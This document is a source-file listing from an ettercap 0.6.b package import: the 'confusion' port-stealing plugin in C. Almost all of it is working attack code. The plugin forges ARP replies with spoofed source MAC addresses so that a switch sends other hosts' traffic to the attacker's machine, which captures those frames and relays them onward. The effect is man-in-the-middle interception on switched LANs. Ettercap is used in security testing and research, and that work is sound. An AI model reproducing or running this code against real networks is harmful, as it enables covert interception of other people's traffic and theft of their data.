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  • Committer: Bazaar Package Importer
  • Author(s): Murat Demirten
  • Date: 2003-06-21 19:57:18 UTC
  • Revision ID: james.westby@ubuntu.com-20030621195718-qqbbfk18e1djchd9
Tags: upstream-0.6.b
Import upstream version 0.6.b

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plugins/confusion/confusion.c
 
1
/*
 
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    confusion -- ettercap plugin -- Port Stealer
 
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    Copyright (C) 2003  ALoR <alor@users.sourceforge.net>, NaGA <crwm@freemail.it>
 
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    This program is free software; you can redistribute it and/or modify
 
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    it under the terms of the GNU General Public License as published by
 
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    the Free Software Foundation; either version 2 of the License, or
 
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    (at your option) any later version.
 
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    This program is distributed in the hope that it will be useful,
 
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    but WITHOUT ANY WARRANTY; without even the implied warranty of
 
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    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 
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    GNU General Public License for more details.
 
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    You should have received a copy of the GNU General Public License
 
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    along with this program; if not, write to the Free Software
 
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    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 
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*/
 
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#ifdef CYGWIN
 
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   #include <windows.h>
 
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   #include <winsock2.h> 
 
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#else
 
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//   #include <sys/time.h>
 
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//   #include <unistd.h>
 
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#endif
 
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//#include <stdlib.h>
 
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#include "../../src/include/ec_main.h"
 
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#include "../../src/include/ec_version.h"
 
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#include "../../src/include/ec_plugins.h"
 
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#include "../../src/include/ec_inet_structures.h"
 
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#include "../../src/include/ec_inet.h"
 
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#include "../../src/include/ec_inet_forge.h"
 
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// protos...
 
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int Plugin_Init(void *);
 
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int Plugin_Fini(void *);
 
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int In_List(char *mac);
 
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int confusion(void *dummy);
 
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// plugin operation
 
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struct plugin_ops confusion_ops = {
 
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   ettercap_version: VERSION,
 
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   plug_info:        "Port Stealing",
 
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   plug_version:     12,
 
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   plug_type:        PT_EXT,
 
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   hook_point:       HOOK_NONE,
 
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   hook_function:    &confusion,
 
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};
 
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char FakeMAC[6] = {0x00, 0xfe, 0x00, 0x00, 0x00, 0x00};
 
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char BroadMAC[6]= {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
 
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char ArpMAC[6]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
 
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//==================================
 
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int Plugin_Init(void *params)
 
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{
 
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   return Plugin_Register(params, &confusion_ops);
 
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}
 
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int Plugin_Fini(void *params)
 
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{
 
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   return 0;
 
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}
 
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// =================================
 
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int In_List(char *mac)
 
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{
 
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    char TempMAC[6];
 
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    int i;
 
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    if (!memcmp(mac, BroadMAC, 6)) return -1;
 
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    for (i=1; i< number_of_hosts_in_lan; i++)
 
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    {
 
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        Inet_GetMACfromString(Host_In_LAN[i].mac, TempMAC);
 
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        if (!memcmp(TempMAC, mac, 6)) return (i);
 
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    }
 
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    return -1;
 
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}
 
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int confusion(void *dummy)
 
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{
 
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   int sock, i=0, j, len, MTU, to_sleep=1;
 
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   struct recv_packet pck, s_pck;
 
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   u_long FakeIP=0x45454545, MyIP;
 
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   char MyMAC[6], SourceMAC[6], c[1]="";
 
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   ETH_header *eth, *rec_eth;
 
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   ARP_header *arp;
 
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   if (number_of_hosts_in_lan < 2)
 
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   {
 
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       Plugin_Output("\nYou have to build Host-List to use confusion\n");
 
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       return 0;
 
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   }
 
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   Plugin_Output("\nUse this plugin only on switched networks\nBe sure to keep the NIC in promisc mode\nPress return to stop\n");
 
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   sock = Inet_OpenRawSock(Options.netiface);
 
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   Inet_GetIfaceInfo(Options.netiface, &MTU, MyMAC, &MyIP, NULL);
 
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   Inet_SetPromisc(Options.netiface);
 
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   pck.buf = Inet_Forge_packet( MTU + ALIGN_ETH_TO_WORD);
 
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   pck.aligned = pck.buf + ALIGN_ETH_TO_WORD;
 
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   s_pck.buf = Inet_Forge_packet( MTU + ALIGN_ETH_TO_WORD);
 
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   s_pck.aligned = s_pck.buf + ALIGN_ETH_TO_WORD;
 
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   Inet_SetNonBlock(sock);
 
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   LOOP
 
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   {
 
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        Inet_GetMACfromString(Host_In_LAN[i+1].mac, SourceMAC);
 
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        Inet_Forge_ethernet(s_pck.aligned, SourceMAC, MyMAC, ETH_P_ARP);
 
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        Inet_Forge_arp( s_pck.aligned + ETH_HEADER, ARPOP_REPLY, SourceMAC, FakeIP, FakeMAC, FakeIP );
 
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        i++;
 
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        i%=(number_of_hosts_in_lan - 1);
 
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        Inet_SendRawPacket(sock, s_pck.aligned, ETH_HEADER + ARP_HEADER);
 
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        if (Plugin_Input(c, 1, P_NONBLOCK))
 
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        {
 
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            for (i=1; i<number_of_hosts_in_lan; i++)
 
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            {
 
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                usleep(Options.storm_delay);
 
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                Inet_GetMACfromString(Host_In_LAN[i].mac, SourceMAC);
 
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                Inet_Forge_ethernet(s_pck.aligned, MyMAC, SourceMAC, ETH_P_ARP);
 
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                Inet_Forge_arp( s_pck.aligned + ETH_HEADER, ARPOP_REQUEST, MyMAC, MyIP, ArpMAC, inet_addr(Host_In_LAN[i].ip));
 
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                Inet_SendRawPacket(sock, s_pck.aligned, ETH_HEADER + ARP_HEADER);
 
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            }    
 
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            Inet_Restore_ifr();
 
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            Inet_Forge_packet_destroy( pck.buf );
 
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            Inet_Forge_packet_destroy( s_pck.buf );
 
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            Inet_CloseRawSock(sock);
 
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            return 0;
 
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        }
 
149
        
 
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        len = Inet_GetRawPacket(sock, pck.aligned, MTU, NULL);
 
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152
        if (to_sleep) usleep(Options.storm_delay);
 
153
 
 
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        to_sleep=1;
 
155
        if (len>0)
 
156
        {
 
157
            eth = (ETH_header *) pck.aligned;
 
158
 
 
159
            if ((j=In_List(eth->dest_mac)) > 0)
 
160
            {
 
161
                int s_sock;
 
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                s_sock = Inet_OpenRawSock(Options.netiface);
 
163
                
 
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                Inet_Forge_ethernet(s_pck.aligned, MyMAC, BroadMAC, ETH_P_ARP);
 
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                Inet_Forge_arp( s_pck.aligned + ETH_HEADER, ARPOP_REQUEST, MyMAC, MyIP, ArpMAC, inet_addr(Host_In_LAN[j].ip));
 
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                Inet_SendRawPacket(sock, s_pck.aligned, ETH_HEADER + ARP_HEADER);
 
167
                
 
168
                if (In_List(eth->source_mac)==-1)
 
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                    memcpy(eth->source_mac, MyMAC, 6);
 
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                do
 
172
                {
 
173
                   if (Inet_GetRawPacket(s_sock, s_pck.aligned, MTU, NULL)<=0) continue;
 
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                   rec_eth = (ETH_header *) s_pck.aligned;
 
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                } while (memcmp(rec_eth->source_mac, eth->dest_mac, 6) || memcmp(rec_eth->dest_mac, MyMAC, 6) || rec_eth->type != htons(ETH_P_ARP)); 
 
176
                
 
177
                Inet_SendRawPacket(sock, pck.aligned, len);
 
178
                
 
179
                Inet_CloseRawSock(s_sock);
 
180
 
 
181
                Inet_Forge_ethernet(s_pck.aligned, eth->dest_mac, MyMAC, ETH_P_ARP);
 
182
                Inet_Forge_arp( s_pck.aligned + ETH_HEADER, ARPOP_REPLY, eth->dest_mac, FakeIP, FakeMAC, FakeIP );
 
183
                Inet_SendRawPacket(sock, s_pck.aligned, ETH_HEADER + ARP_HEADER);
 
184
                to_sleep=0;
 
185
            }
 
186
        }
 
187
   }
 
188
}
 
189
 
 
190
/* EOF */